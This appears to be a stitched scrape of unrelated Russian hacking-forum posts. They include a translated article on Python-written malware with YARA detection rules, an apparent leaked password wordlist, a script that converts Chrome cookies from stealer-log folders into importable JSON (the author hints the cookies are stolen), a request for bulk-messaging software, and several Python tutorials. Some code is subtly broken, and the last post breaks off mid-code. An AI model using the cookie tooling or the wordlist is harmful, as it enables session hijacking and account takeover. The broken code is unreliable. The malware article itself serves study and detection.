Одна строка на Python превратилась в более чем 8 тысяч строк на C. Nuitka работает именно таким образом, когда происходит преобразование Python-модулей в C-код, а затем используется библиотека libpython и статические C-файлы для выполнения, как и в случае с CPython.
Результат выглядит очень достойно и, кажется, с высокой степенью вероятности Nuitka в качестве «компилятора Python» будет развиваться дальше. Например, могут появиться дополнительные полезные функции, например, для защиты от реверс-инжиниринга. Уже есть несколько утилит, которые легко анализируют бинарные файлы, скомпилированные при помощи PyInstaller и py2exe с целью восстановления исходного кода Python. Если же исполняемый файл создан при помощи Nuitka и код преобразован из Python в C, задача реверс-инженера значительно усложняется.
Большим подспорьем для вредоносов, написанных на Python, является огромная экосистема пакетов с открытым исходным кодом и репозитариев. Практически любая задача, которую вы хотите реализовать, скорее всего, уже решена в том или ином виде при помощи Python. Соответственно, простые функций авторы вредоносов могут найти в сети, а более сложный функционал, вероятно, не придется писать с нуля.
Рассмотрим три категории простых, но в то же время полезных и мощных утилит:
В распоряжении авторов вредоносов, использующих Python, есть множество библиотек для обфускации, чтобы сделать код нечитабельным. Примеры: pyminifier и pyarmor.
Ниже показан пример использования утилиты pyarmor:
Python:Copy to clipboard
$ cat hello.py
print('Hello, world!')
$ pyarmor obfuscate hello.py
...
$ cat dist/hello.py
from pytransform import pyarmor_runtime
pyarmor_runtime()
__pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\x4f\x52\x00\x00\x03\x08\x00\x55\x0d\x0d\x0a\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\xd5\x00\x00\x00\x00\x00\x00\x18\xf4\x63\x79\xf6\xaa\xd7\xbd\xc8\x85\x25\x4e\x4f\xa6\x80\x72\x9f\x00\x00\x00\x00\x00\x00\x00\x00\xec\x50\x8c\x64\x26\x42\xd6\x01\x10\x54\xca\x9c\xb6\x30\x82\x05\xb8\x63\x3f\xb0\x96\xb1\x97\x0b\xc1\x49\xc9\x47\x86\x55\x61\x93\x75\xa2\xc2\x8c\xb7\x13\x87\xff\x31\x46\xa5\x29\x41\x9d\xdf\x32\xed\x7a\xb9\xa0\xe1\x9a\x50\x4a\x65\x25\xdb\xbe\x1b\xb6\xcd\xd4\xe7\xc2\x97\x35\xd3\x3e\xd3\xd0\x74\xb8\xd5\xab\x48\xd3\x05\x29\x5e\x31\xcf\x3f\xd3\x51\x78\x13\xbc\xb3\x3e\x63\x62\xca\x05\xfb\xac\xed\xfa\xc1\xe3\xb8\xa2\xaa\xfb\xaa\xbb\xb5\x92\x19\x73\xf0\x78\xe4\x9f\xb0\x1c\x7a\x1c\x0c\x6a\xa7\x8b\x19\x38\x37\x7f\x16\xe8\x61\x41\x68\xef\x6a\x96\x3f\x68\x2b\xb7\xec\x60\x39\x51\xa3\xfc\xbd\x65\xdb\xb8\xff\x39\xfe\xc0\x3d\x16\x51\x7f\xc9\x7f\x8b\xbd\x88\x80\x92\xfe\xe1\x23\x61\xd0\xf1\xd3\xf8\xfa\xce\x86\x92\x6d\x4d\xd7\x69\x50\x8b\xf1\x09\x31\xcc\x19\x15\xef\x37\x12\xd4\xbd\x3d\x0d\x6e\xbb\x28\x3e\xac\xbb\xc4\xdb\x98\xb5\x85\xa6\x19\x11\x74\xe9\xab\xdf', 1)
$ python dist/hello.py
Hello, world!
Вредоносы, заточенные под кражу информации, часто имеют функцию для создания скриншотов рабочих столов пользователей. При помощи Python этот функционал легко реализовать, поскольку уже есть несколько библиотек, включая pyscreenshot и python-mss.
Пример создания скриншота при помощи библиотеки python-mss:
Python:Copy to clipboard
from mss import mss
with mss() as sct:
sct.shot()
Вредоносы часто используют веб-запросы для решения разных задач в скомпрометированной системе, включая управление, получение внешнего IP-адреса, загрузку новых частей полезной нагрузки и многое другое. При помощи Python выполнение веб-запросов не составляет особого труда и может быть реализовано на базе стандартной библиотеки или библиотек с открытым исходным кодом, как, например, requests и httpx.
Например, внешний IP-адрес скомпрометированной системы можно легко получить при помощи библиотеки requests:
Python:Copy to clipboard
import requests
external_ip = requests.get('http://whatismyip.akamai.com/').text
eval()
Как правило, встроенная функция eval() считается очень неоднозначной и несет
серьезные риски безопасности при использовании в коде. С другой стороны, эта
функция очень полезна при написании вредоноса.
Функция eval() очень мощная и может использоваться для выполнения строк Python-кода внутри скрипта. Эта одиночная функция часто используется для запуска в скомпилированном вредоносе высокоуровневых скриптов или «плагинов» налету при корректной реализации. Схожим образом, во вредоносах, написанных на C, используется движок для Lua для запуска скриптов, написанных на этом языке. Подобный функционал был обнаружен в известных вредоносах, как, например, у Flame.
Представьте, что группа хакеров удаленно взаимодействует с вредоносом, написанным на Python. Если вдруг группа попала в неожиданную ситуацию, где нужно реагировать быстро, возможность прямого выполнения кода в целевой системе может оказаться очень кстати. Кроме того, вредонос, написанный на Python, мог быть размещен с очень ограниченным функционалом, а новые возможности добавляются по мере необходимости с целью оставаться незаметным как можно дольше.
Переходим к рассмотрению реальных примеров вредоносов из дикой природы.
SeaDuke – вероятно наиболее известный вредонос, написанный на Python. В 2015-2016 годах Национальный комитет демократической партии (DNC) был скомпрометирован двумя группами, которые многие аналитики приписали к APT 28 и 29.
Впечатляющий анализ SeaDuke [был проведен командой Unin 42 из компании Palo Alto](https://unit42.paloaltonetworks.com/unit-42-technical-analysis- seaduke/). Также доступен [декомпилированный исходный код этого вредоноса](https://github.com/pan- unit42/iocs/blob/master/seaduke/decompiled.py). Кроме того, компания F-Secure [опубликовала прекрасный документ](https://blog-assets.f-secure.com/wp- content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf), где рассматривается SeaDuke и связанные вредоносы.
SeaDuke представляет собой троян, написанный на Python, который был преобразован в исполняемый файл для Windows при помощи PyInstaller и обработан упаковщиком UPX. Исходный код был обфусцирован с целью затруднения анализа. У вредоноса есть масса возможностей, включая несколько методов для незаметного и долговременного пребывания в Windows, кроссплатформенного запуска и выполнения веб-запросов с целью получения команд и управления.
Рисунок 4: Образец кода SeaDuke
PWOBot также является известным вредоносом, который, как и SeaDuke, был скомпилирован при помощи PyInstaller. Основная активность PWOBot пришлась в период 2013-2015 годов и затронула несколько европейских организаций преимущественно в Польше.
У PWOBot было множество функций, включая сбор нажатых клавиш, закрепление в системе, загрузку и выполнения файлов, запуск Python-кода, создание веб- запросов и майнинг криптовалют. Прекрасный анализ PWOBot [был проведен командой Unit 42 из компании Palo Alto](https://unit42.paloaltonetworks.com/unit42-python-based-pwobot-targets- european-organizations/).
PyLocky представляет собой программу-вымогатель, скомпилированную при помощи PyInstaller. Основная активность была замечена в США, Франции, Италии и Корее. В этом вредоносе реализовано противодействие запуску в песочнице, получение команд и управление извне, а также шифрование файлов при помощи алгоритма 3DES.
Хороший анализ PyLocky был [сделан специалистами из компании Trend Micro](https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer- look-at-the-locky-poser-pylocky-ransomware/), а аналитикам из компании Talos Intelligence удалось создать расшифровщик файлов для восстановления информации, зашифрованной в системах жертв.
PoetRAT представляет собой троян, целью которого было азербайджанское правительство и энергетический сектор в начале 2020 года. Троян закреплялся в системах и воровал информацию, имеющую отношение к ICS/SCADA системам, управляющим воздушными турбинами.
Вредонос передавался при помощи Word-документов и содержал массу возможностей для кражи информации, включая скачивание файлов через FTP, съем изображений с веб-камер, загрузку дополнительных утилит, кейлоггинг, работу с браузерами и кражу учетных записей. Специалисты компании Talos Intelligence написали [прекрасную статью](https://blog.talosintelligence.com/2020/04/poetrat- covid-19-lures.html), посвященную неизвестному деятелю, использующему этот вредонос.
Ниже показан скрипт, используемый для съема изображений с веб-камер:
Рисунок 5: Участок кода для съема изображений с веб-камер
Помимо вредоносов из дикой природы, есть несколько троянов с открытым исходным кодом, как, например, pupy и Stitch. Эти вредоносы демонстрируют, насколько сложным и многофункциональными могут приложения подобного рода. Pupy является кроссплатформенными, выполняется полностью в памяти, оставляет очень мало следов, может сочетать несколько методов для зашифрованной передачи команд, мигрировать в процессы при помощи отраженной инъекции, а также может удаленно загружать Python-код из памяти.
Существует множество утилит для анализа вредоносов, написанных на Python, даже в скомпилированном виде. Коротко рассмотрим некоторые из доступных инструментов.
Приемником decompyle, uncompyle и uncompyle2 стала утилита uncompyle6, представляющая собой кроссплатформенный декомпилятор, который может использоваться для преобразования байт кода в исходный Python-код.
Рассмотрим простейший скрипт «Hello, world!» и выполним в качестве модуля в виде pyc-файла (содержащего байт-код), показанного ниже. Исходный код можно восстановить при помощи uncompyle.
Python:Copy to clipboard
$ xxd hello.cpython-38.pyc
00000000: 550d 0d0a 0000 0000 16f3 075f 1700 0000 U.........._....
00000010: e300 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0002 0000 0040 0000 0073 0c00 0000 6500 [email protected]
00000030: 6400 8301 0100 6401 5300 2902 7a0d 4865 d.....d.S.).z.He
00000040: 6c6c 6f2c 2077 6f72 6c64 214e 2901 da05 llo, world!N)...
00000050: 7072 696e 74a9 0072 0200 0000 7202 0000 print..r....r...
00000060: 00fa 2d2f 686f 6d65 2f75 7365 722f 746d ..-/home/user/tm
00000070: 702f 7079 7468 6f6e 5f61 7274 6963 6c65 p/python_article
00000080: 2f6e 2f74 6573 742f 6865 6c6c 6f2e 7079 /n/test/hello.py
00000090: da08 3c6d 6f64 756c 653e 0100 0000 f300 ........
000000a0: 0000 00
$ uncompyle6 hello.cpython-38.pyc | grep -v '#'
print('Hello, world!')
PyInstaller Extractor может извлекать Python-данные из исполняемых файлов, скомпилированных при помощи PyInstaller.
Python:Copy to clipboard
python pyinstxtractor.py hello.exe
...
В итоге будут получены pyc-файлы, которые можно декомпилировать и восстановить исходный код при помощи uncompyle6.
Скрипт pythonexeunpack.py можно использовать для распаковки и декомпиляции исполняемых файлов, скомпилированных при помощи py2exe.
Python:Copy to clipboard
> python python_exe_unpack.py -i hello.exe
Во время компиляции PyInstaller и py2exe добавляют уникальные строки в исполняемый файл, что значительно облегчает детектирование при помощи YARA- правил.
PyInstaller записывает строку «pyi-windows-manifest-filename» практически в самом конце исполняемого файла, которую можно наблюдать в шестнадцатеричном редакторе (HxD):
Рисунок 6: Уникальная строка, добавляемая PyInstaller во время компиляции
Ниже показано YARA-правило для детектирования исполняемых файлов, скомпилированных при помощи PyInstaller (источник):
Python:Copy to clipboard
import "pe"
rule PE_File_pyinstaller
{
meta:
author = "Didier Stevens (https://DidierStevens.com)"
description = "Detect PE file produced by pyinstaller"
strings:
$a = "pyi-windows-manifest-filename"
condition:
pe.number_of_resources > 0 and $a
}
Второе YARA-правило используется для детектирования исполняемых файлов, скомпилированных при помощи py2exe ([источник](https://github.com/NVISO- BE/YARA/blob/master/py2exe.yara))
Python:Copy to clipboard
import "pe"
rule py2exe
{
meta:
author = "Didier Stevens (https://www.nviso.be)"
description = "Detect PE file produced by py2exe"
condition:
for any i in (0 .. pe.number_of_resources - 1):
(pe.resources[i].type_string == "P\x00Y\x00T\x00H\x00O\x00N\x00S\x00C\x00R\x00I\x00P\x00T\x00")
}
На этом повествование о вредоносах, написанных на Python, заканчивается. Очень интересно наблюдать за изменением трендов по мере роста производительности и упрощения работы с компьютерными системами. Мы, специалисты по безопасности, должны внимательно следить за вредоносами, написанными на Python, иначе могут возникнуть проблемы в тот момент, когда меньше всего ожидаешь.
Автор: Austin Jackson
перевод securitylab.ru
Всем доброго времени суток.
После неудачной работы с текстовым файлом и по-дальшей его обработки, сбилась
кодировка в некоторых строчках(видимо после первой обработки).
Задача:
Нужно вытащить подобные строки в отдельный файл и перезаписать исходный ,уже
без этих строчек. Если можно приколхозить ,чтобы сразу и перекодировал в
понятный текст ,то будет прям шикардос.
Заранее спасибо.
И так вот сам исходный текст
Code:Copy to clipboard
00РґРёРіСЂРёР·
00РґРёРјР°
00РґРёРјРѕРЅ
00дмитриева
00дарья
00даша
00РґСѓРєС„
00дюдюша
00АЛЕНА
00РєРёСЂР°
00РєРѕРЅС‚
00кошка))
00клубнивика
00катя
00кузякотик
00кусочек
00ксюшенька
00кристина
00кёха
00РёРіРѕСЂСЊ
00иванов
00РёРіСЂР°
00илья
00РёСЂРёРЅР°
00ираорлова
00ищиук
00ноль
00РЅРѕСЃРѕРє
00РѕРіРґС€
00РѕРіРѕРіРѕ
00надюша
00надя
00неважно
00назира
00олеся
00настенька
00настя
00нетпароля
00наташа
00отсаси
00РІРёРєР°
00викая
00РІРёРєСѓСЃСЏ
00РіРёР·Рё
00вита
00витя
00РІРѕРІР°
00РІРІРјРј
00ведун
00галян
00веталь
00вуишд
00всенахуй
00гуля
00РіСѓСЂРѕРЅ
00гриша
00грамм
00вщср
00віта
00гщяут
00пдшсршфтеы
00поволоца
00РїРѕРјРёРґРѕСЂ
00падгяф
Добрый день, сегодня мы с Вами научимся делать графический интерфейс приложениям в Python и компилировать их в .exe файл. Наверное, многих новичков уже достали консольные приложения, ведь их сложно показать другу и выглядеть будет не так эффектно. Сегодняшнюю статью я разбил на две части, а именно:
Code:Copy to clipboard
1. Создание графического интерфейса приложения.
2. Компиляция приложения на Python в .exe файл.
И так, без долгих предисловий приступим.
Глава 1. Графический интерфейс:
Для создания интерфейса мы будем использовать всеми нами любимый pyside и его QT designer. Для этого нам потребуется:
Code:Copy to clipboard
1. Python v3.4 и ниже.
2. Прямые руки ( желательно ).
Если у Вас установлен Python выше 3.4 , то переустановите его , либо
установите вместе с существующим.
И так, заходим в консоль и первым делом проверяем, что у нас установлена
нужная версия Python. Далее нам необходимо установить библиотеку pyside.
Делается это простой командой.
Code:Copy to clipboard
pip install pyside
Далее переходим в директорию, где установлен сам Python, у меня это
C:\Python34
Теперь нужно найти папку 'Lib'. Не перепутайте с папкой 'libs'.
Мы видим много файлов, но из них нам нужна папка 'site-packages'
Переходим в неё и открываем папку 'PySide'.
Так, вот мы и добрались до нашего любимого qt designer. Находим файл designer.exe. Что бы в дальнейшем легко открывать приложение, можем его 'отправить' на рабочий стол.
Далее мы запускаем его. Как только мы зашли, открывается форма, в которой мы можем выбрать тип будущего приложения, я выберу Main Window
После того, как мы выбрали тип, слева увидим таблицу с виджетами, а справа характеристики. Например, создам какую-нибудь форму. Справа в хар-ках, выбрав объект , мы можем увидеть колонку 'StyleSheets'. Открываем её, здесь с помощью CSS задаются стили объекта, например красный фон.
Допустим, вы набросали своё приложение, сохраняем его.Расширение обязательно должно быть .ui ! Ну вот, мы сделали это, а как добавить какие-то функции? Легко. Открываем консоль, с помощью команды
Code:Copy to clipboard
cd путь к файлу
открываем директорию с файлом. Зачем? Если мы откроем этот файл, то увидим какую то разметку на xml, с ней ничего не сделать на python. Но мы этот файл переформатируем. Далее, вводим команду:
Code:Copy to clipboard
pyside uic "путь к файлу, включая его имя и расширение" -x -o "Путь к новому файлу, включая имя и расширение .py"
Нажимаем Enter и вуаля. Переходим в директорию и открываем файл, который был создан. Оттуда нам нужны только последние строки, копируем их.
У вас может быть немного по другому, если вы в начале выбрали не Main Window. Рядом с этим файлом создаём новый , в нём будет вся суть нашего приложения. Я его назову "script.py". Далее импортируем QtCore , QtGui из Pyside, класс ui из файла с интерфейсом из того, что мы скопировали , вырезаем строчку 'import sys' и вставляем её в начало. Выглядеть это должно так:
Code:Copy to clipboard
from PySide import QtCore, QtGui
from ui import Ui_Form
import sys
Строку ''if name == "main":' мы удаляем, она нам больше не понадобится. Теперь, между последней и предпоследней строкой мы можем писать логику приложения.
Я немного подкорректировал и вот, что должно получиться.
Code:Copy to clipboard
from PySide import QtCore, QtGui
from ui import Ui_Form
import sys
app = QtGui.QApplication(sys.argv)
MainWindow = QtGui.QMainWindow()
ui = Ui_MainWindow()
ui.setupUi(MainWindow)
MainWindow.show()
# your code
sys.exit(app.exec_())
Глава 2. Компиляция файла .py в .exe
Не волнуйтесь, эта глава будет намного проще
.
Вы сделали программу с интерфейсом, но отправлять её другу, так он ещё и
должен будет устанавливать все библиотеки? Нет, можно поступить намного проще!
Сейчас я расскажу, как.
В папке я создал файл calc.py , в него разместил небольшой калькулятор и рядом
разместил иконку калькулятора. Конечно можно и без иконки ( я покажу как ) ,
но это будет не так эффектно
.
Для операция нам понадобится библиотека pyinstaller. Запускаем консоль и
вводим команду:
Code:Copy to clipboard
pip install pyinstaller
Далее переходим в директорию с нашей программой, для этого используем всё ту же команду cd.
Code:Copy to clipboard
cd 'путь к директории файла'
Далее в консоли вводим команду
Code:Copy to clipboard
pyinstaller 'имя вашего файла'
Рядом с программой появилось несколько папок ( если файл .py полностью пустой, то ничего не будет ) . Из них нам нужна папка dist, там и находится наш .exe файл.
Теперь, даже если Вы в программе подключали какие-либо библиотеки, её можно запустить на любом компьютере, не устанавливая ничего. Но можно скомпилировать и без лишних файлов, это просто. В консоли вводим команду
Code:Copy to clipboard
pyinstaller -F 'имя вашего файла'
Теперь всё скомпилируется в единый файл в папке dist. А как же задействовать иконку? Добавляем флаг -i. Тоесть вот так:
Code:Copy to clipboard
pyinstaller -i 'путь к иконке' 'имя вашего файла'
Так же снова можно добавить флак -F , что бы всё было приятно и красиво, в итоге команда получается такая:
Code:Copy to clipboard
pyinstaller -F -i 'путь к иконке' 'имя вашего файла'
Путь к иконке прописывать в " , а к файлу без " !!!
Если у Вас остались какие-то вопросы или появились ошибки, то прошу в
комментарии. Спасибо за то, что дочитали до конца.
Всех благ
автор @Simple9023
Изучаем Python на практике. Конвертируем cookies Google Chrome из txt в json.
Это третья статья авторского цикла "Изучаем Python на практике".
Есть такая проблема - когда есть "бэкап" (ну мы то знаем, что это на самом деле) кук Google Chrome в формате txt, но для того, что бы их снова импортировать в браузер, нужно конвертировать их файл в формате json. В сети ходит скрипт на PHP, но его неудобно использовать, так как нужен запущенный веб сервер, локально или удаленно. К тому же у этого скрипта есть проблема - он работает только с одним файлом.
Так же есть веб сервис для преобразования, но доверять свое кому-то неизвестному не очень хочется. Задача не сложная, но кропотливая. Приступим к решению.
Вот так выглядит строка бекапа печенек в txt:
Code:Copy to clipboard
.google.com TRUE /chrome/ FALSE 1730361600 __utma 178272271.1760769362.1533567384.1533267314.1533566384.1
Вот так должен выглядеть файл json:
Code:Copy to clipboard
[{"domain": ".google.ru", "expirationDate": "1830375600", "hostOnly": true, "httpOnly": true, "name": "CGIC", "path": "/complete/search", "sameSite": "no_restriction", "secure": true, "session": true, "value": "IlM0dXh0L2h0cWwsyXBwbHljYXRpboxGh0aWqreG1sLsFwcGxp0xY2F0AW9uL3htbDtxrTAuOScpbWFnbS9xZWJxLGltLWdlL8Fwc7cuKi8oO3E9PC74", "id": 0}, {"domain": ".google.ru", "expirationDate": "1830364100", "hostOnly": true, "httpOnly": true, "name": "CGIC", "path": "/search", "sameSite": "no_restriction", "secure": true, "session": true, "value": "IlF0Ah0L4h0bXwaYX34bVljYvRrb24teGh0obWpre0G1sLGFwcLxpY2F5aW9kL3htbDtx0xPTAnOSxpvWFnFS13ZQJwlGltyWdlL4FwbdcwKi8qO2E8MC14", "id": 1}]
То есть, что мы видим - на входе файл по структуре похож на классический csv, в котором записи отделены табуляцией, на выходе по требованиям стандарта, мы должны получить список словарей такого вида:
Code:Copy to clipboard
[{"key":"value", "key":"value"...}, {"key":"value", "key":"value"...}, {"key":"value", "key":"value"...}]
Начнем с начала, а именно с точки входа в программу:
Python:Copy to clipboard
def main():
work_dir = sys.argv[1]
files = find_files(work_dir)
handle_files(dirs)
if __name__ == "__main__":
main()
Здесь из параметра командной строки берется путь к рабочей директории, т.е. команда запуска будет выглядеть так:
Python:Copy to clipboard
python txt2json.py "D:/backup/"
work_dir = sys.argv[1] мы взяли второй аргумент (первый argv[0] зарезервирован и возвратит имя самого скрипта) и присвоили его work_dir.
На следующей строке files = find_files(work_dir) вызываем функцию find_files, куда и передаем путь в качестве аргумента, а результат выполнения присваиваем переменной dirs.
Затем вызываем функцию handle_files(dirs), которая фактически и руководит дальнейшей работой программы.
Рассмотрим функцию find_files:
Python:Copy to clipboard
def find_files(work_dir):
dir_pattern = 'Cookies'
files_pattern = '/**/*'
extension_pattern = '.log'
chrome_pattern = 'Chrome'
list_of_files = []
list_of_fs_objects = glob.glob(work_dir + files_pattern, recursive=True)
for object in list_of_fs_objects:
if dir_pattern in object \
and (not os.path.isdir(object)) \
and extension_pattern in object \
and chrome_pattern in object:
list_of_files.append(object)
print('find', len(list_of_files), 'Chrome logs')
return list_of_files
В функцию передается обязательный аргумент work_dir - рабочая папка, в которой будет происходить поиск файлов.
Далее четыре строки со словом pattern - строковые переменные, в которых хранятся настройки поиска.
Далее запускается цикл for object in list_of_fs_objects для обработки каждого найденного объекта. Фактически цикл фильтрует список list_of_fs_objects по заданным критериям. Далее непосредственно сама строка фильтра, в которой объединено несколько проверок условий, знак "" указывает на перевод строки (длинную строку неудобно читать) и в не учитывается интерпретатором.
Слово "and" указывает, что дальнейшая обработка объекта будет выполниться, если он соответствует сразу всем условиям.
Результатом работы этой функции будет возврат списка найденных файлов, соответствующих всем критериям отбора.
Далее управление программой передается в функцию для обработки найденных файлов - handle_files.
Python:Copy to clipboard
def handle_files(list_of_files):
files_counter = 0
for file in list_of_files:
file_name = os.path.splitext(file)[0]
list_of_lines = read_file(file)
list_of_dictionaries = []
cookie_counter = 0
files_counter = files_counter + 1
for item in list_of_lines:
if len(item) > 10:
list_flags = item.split('\t')
domain = list_flags[0]
session = list_flags[1]
path = list_flags[2]
secure = list_flags[3]
expiration = list_flags[4]
name = list_flags[5]
value_raw = list_flags[6]
value = value_raw.rstrip("\r\n")
dic = {'domain': domain,
'expirationDate': expiration,
'hostOnly': bool('false'),
'httpOnly': bool('false'),
'name': name,
'path': path,
"sameSite": "no_restriction",
'secure': bool(secure),
'session': bool(session),
'value': value,
'id': cookie_counter
}
list_of_dic.append(dic)
cookie_counter += 1
list_dump = json.dumps(list_of_dic)
string_of_dump = str(list_dump)
json_file_name = file_name + '.json'
write_file(json_file_name, string_of_dump)
print('processed', files_counter, 'Chrome logs')
Обязательным параметром функции handle_files является список файлов для обработки - list_of_files.
Создаем переменную для счетчика обработанных файлов files_counter = 0.
На следующей строке начинается цикл обработки каждого файла for file in list_of_files.
Из пути к файлу извлекается имя файла file_name = os.path.splitext(file)[0].
Получаем список строк файла list_of_lines = read_file(file), вызвав функцию чтения файла read_file.
Python:Copy to clipboard
def read_file(filename):
try:
with codecs.open(filename, 'r', encoding='utf-8', errors='ignore') as file:
file_data = file.readlines()
return file_data
except IOError:
print("Can't read from file, IO error")
exit(1)
В функции весь код, производящий чтение помещаем в оператор try-except. Это позволит обработать исключительные случаи при невозможности чтения файла: нет прав в файловой системе, неожиданное отсоединение файлового носителя, сбой в файловой системе и т.п.
В строке with codecs.open(filename, 'r', encoding='utf-8', errors='ignore') as file используется контекстный оператор with, так как он позволяет не следить вручную за необходимостью закрыть открытый для чтения файл. Модуль codecs, который импортируется вначале файла, позволяет корректно обрабатывать любые символы в кодировке utf-8. file.readlines() читает все строки из файла в список. Результат работы функции возвращается строкой return file_data. except IOError выполняется только при возникновении исключительной ситуации при чтении файла.
Ход выполнения программы возвращается в функцию handle_files.
Создается список list_of_dictionaries = [], в котором будут храниться словари
После чтения файла, счетчик обработанных файлов files_counter = files_counter
Ход выполнения все еще находится внутри первого цикла, который ведет обработку файлов. Но нам нужны строки.
Поэтому начинается новый цикл for item in list_of_lines, в котором будет обрабатываться каждая строка из прочтенного файла.
Проверяем, что строка не пустая if len(item) > 10. Разбиваем строку на подстроки list_flags = item.split('\t'), в качестве разделителя выступает табуляция. Далее каждую подстроку присваеваем переменной. В спецификации кук указано в каком порядке должны располагаться словари.
В dic создаем словарь из значений подстрок. И добавляем созданный словарь list_of_dic.append(dic) в список.
По окончании вложенного цикла получается список словарей. Преобразуем его в json формат list_dump = json.dumps(list_of_dic). В начале файла подключаем библиотеку для работы с json форматом import json. Последняя операция - преобразовать json в строку, так как дальше мы будем записывать обработанные данные в текстовом формате, который поддерживает запись только в виде строк.
json_file_name = file_name + '.json' добавляет соответствующее расширение к файлу источнику. После работы программы в папке будет два файла исходный и файл с именем исходного и расширением json - это и будет готовый куки файл для импорта.
Записываем обработанную информацию в файл write_file(json_file_name, string_of_dump).
Функция write_file во всем аналогична read_file, кроме строки, которая отвечает за запись file.write(data). Здесь filename - имя файла, data это и есть полученный список словарей, который сюда попал в виде аргумента функции write_file(filename, data).
Запускаем скрипт:
Code:Copy to clipboard
txt2json.py backup
где backup папка с куками в текстовом формате. После работы, программа выдаст отчет сколько файлов было найдено и обработано.
(с) darklight
Установка простая:
Версия Python - 3
Python:Copy to clipboard
import os, transliterate, random, time
words_file = "" # файл со словами
words = []
special = ["@","%","!","#","$","?","(",")","~","&"]
with open(words_file,'r') as f:
for line in f:
line = line.strip()
words.append(line)
f.close()
word1 = random.choice(words)
word2 = random.choice(words)
word3 = random.choice(words)
i1 = str(random.randint(1,9))
i2 = str(random.randint(1,9))
i3 = str(random.randint(10,99))
spec = random.choice(special)
password = (transliterate.translit(word1.title(), reversed=True)[:4] + i1 + transliterate.translit(word2.title(), reversed=True)[:4] + i2 + transliterate.translit(word3.title(), reversed=True)[:4] + i3 + spec)
rem = word1 + " " +i1 + " " + word2 + " " + i2 + " " + word3 + " " + i3+spec
print(password)
print(rem)
Результат:
Code:Copy to clipboard
Usnu3Umir3Zabi94#
уснуть 3 умирать 3 забирать 94#
Сам код и мануал https://teletype.in/@codingcommunity/BJszHdLvN
Приветствую юзеры.!
Хочу написать софт задача которого будет рассылать заданое пользователем
сообщение по списку ссылке тобыш URL профиля.
Некоторый фукционал:
Хотелось бы сделать GUI приложения, дабы облегчить работу юзеру, писать буду в Kivy либо в Tkinter.
Вещи которые недоконца понимаю как реализовать это отправка по URL с кастомным текстом. Если делать консольное приложения которое будет принимать ссылки профиля в качестве targetURL.txt то наверное нужно будет указать список ссылок и каждой ссылки присвоить в параметры кастомное сообщения, далее прога будет принимать ссылку и понимать что надо отправить заданое сообщения, гипотетически.
Буду рад выслушать вас, а так же если есть примеры кода то буду так же рад
почитать.!
Благодарю заранее.!)
Сегодня будем писать скрипт для получения метаданных из картинок фото.
Метаданные - данные о самих данных. Сегодня мы научимся их доставать.
Для написания нам понадобится библиотека
Pillow и argparse.
Code:Copy to clipboard
#!/usr/bin/python3.6
#тут указывайте свой путь к python
Code:Copy to clipboard
# -*- coding: utf-8 -*-
#кодировка
#импортируем необходимые модули
Code:Copy to clipboard
import argparse
from PIL import Image
from PIL.ExifTags import TAGS
#функция ниже получает на вход имя файла(картинки) и имя файла(для вывода информации)
Code:Copy to clipboard
def getMetaData(imgname, out):
#получаем словарь из метаданных картинки и выводим его в терминал, #если не указано имя файла для вывода информации.
Code:Copy to clipboard
try:
metaData = {}
imgFile = Image.open(imgname)
print("Getting meta data...")
info = imgFile._getexif()
if info:
print("Found meta data!")
#перебор данных в словаре с метаданными
Code:Copy to clipboard
for (tag, value) in info.items():
tagname = TAGS.get(tag, tag)
metaData[tagname] = value
if not out:
print(tagname, value)
#если указано имя файла то выводим в файл
Code:Copy to clipboard
if out:
print("Outputting to file...")
with open(out, 'w') as f:
for (tagname, value) in metaData.items():
f.write(str(tagname)+"\t"+str(value)+"\n")
#если произошла ошибка выводим сообщение о ней
Code:Copy to clipboard
except:
print("Failed")
#функция main(). Парсим в ней аргументы командной строки.
Code:Copy to clipboard
def main():
parser = argparse.ArgumentParser()
parser.add_argument("img", help="name of img file.")
parser.add_argument("-o", "--output", help="dump data out to file")
args = parser.parse_args()
if args.img:
getMetaData(args.img, args.output)
else:
print(parser.usage)
#точка входа
Code:Copy to clipboard
if __name__ == '__main__':
main()
Пример вывода нашего скрипта:
(c) By Hacker
Речь пойдёт о способе достижения максимальной скорости обработки удалённых данных при использовании Python + различных библиотек.
Spoiler
asyncio+aiohttp
Мы будем пытаться добиться максимальной эффективности: скачивать много, по возможности быстро, ну и как можно менее затратно по ресурсам.
Предыстория: исторически образовался клуб любителей GIL-многопоточности* -
людей, знающих о неблокирующих
сокетах ровным счётом ничего и свято
уверенным, что единственный способ распаралелливания каких-либо процессов -
мультипоточность. На деле же мультипоточность имеет свои ограничения и сферу
применения. А именно: сложные вычислительные процессы, обработка данных в
несколько потоков, потребность в синхронизации доступа к данным (и вытекающие
из этого блокировки, паузы в работе) и подобное.
*Достаточно набрать "multithreading" в поиске на форуме
В чём проблема с GIL-потоками? Они кушают память, 8 MB RAM на 1 поток, в большем кол-ве это заметнее (например: 8*100=800 MB RAM), нужно писать thread- safe код, низкая продуктивность в сравнении с другими решениями.
Мной был проведён ряд тестов, результаты одного из них приведены ниже. Примерный разброс такой: multithread (100, 150, 200, 1000 потоков) - 25-33 sec; greqs - 35-41 sec; async - 15-18 sec. Если эти числа умножить на 10, то можно получить примерное кол-во секунд, требуемое для отправки 100к запросов. Разброс получится весьма большой и эти секунды превратятся в минуты при миллионе запросов.
Тесты проводились в локальной сети на нешифрованном, а затем и шифрованном соединении с использованием наиболее популярных библиотек для python. Для эксперимента создавалось до 1000 одновременных соединений, целью было создание 10000 запросов. Лучше всех(по скорости) показала себя asyncio, затем threading и grequests. Подводя итоги, можно узреть лидерство асинхронных библиотек и неоспоримое преимущество при больших нагрузках.
Результаты:
Code:Copy to clipboard
user@host:~/pylibs$ time python3 greqs.py
36.9738130569458 seconds
real 0m37.453s
user 0m32.000s
sys 0m4.740s
user@host:~/pylibs$ time python3 async.py
18.482529640197754 seconds
real 0m18.845s
user 0m11.452s
sys 0m0.560s
user@host:~/pylibs$ time python3 multithread.py 1000
Threads: 1000
32.848010778427124 seconds (time)
real 0m33.182s
user 0m24.024s
sys 0m3.024s
Spoiler
threading
Code:Copy to clipboard
[CODE]from threading import Thread
import requests
import sys
from queue import Queue
import time
if len(sys.argv) != 2:
print("Using:", sys.argv[0], "[threads]")
sys.exit(1)
concurrent = int(sys.argv[1])
print("Threads: "+sys.argv[1])
start_time = time.time()
